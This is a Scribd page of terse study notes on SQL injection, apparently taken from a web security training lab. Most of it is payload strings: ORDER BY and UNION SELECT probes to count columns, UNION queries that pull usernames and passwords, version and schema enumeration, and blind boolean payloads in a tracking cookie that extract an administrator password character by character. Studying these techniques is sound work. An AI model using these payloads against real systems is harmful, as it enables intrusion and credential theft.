Scribd
Upload
5 views2 pages

SQL Injection Techniques Explained

Uploaded by

hk320447
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
5 views2 pages

SQL Injection Techniques Explained

Uploaded by

hk320447
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

In UPDATE statements, within the updated values or the WHERE clause.

In INSERT statements, within the inserted values.

In SELECT statements, within the table or column name.

In SELECT statements, within the ORDER BY clause.

How many columns are being returned from the original query.

Which columns returned from the original query are of a suitable data type to hold
the results from the injected query.

' ORDER BY 1--


' ORDER BY 2--
' ORDER BY 3--
etc.

' UNION SELECT NULL--


' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
etc.

'+UNION+SELECT+'abc','def'--
'+UNION+SELECT+username,+password+FROM+users--

' UNION SELECT username || '~' || password FROM users--

The type and version of the database software.


The tables and columns that the database contains.

' UNION SELECT @@version--


SELECT * FROM information_schema.tables
'+UNION+SELECT+'abc','def'--

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

…xyz' AND '1'='1

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'),


1, 1) > 'm

You might also like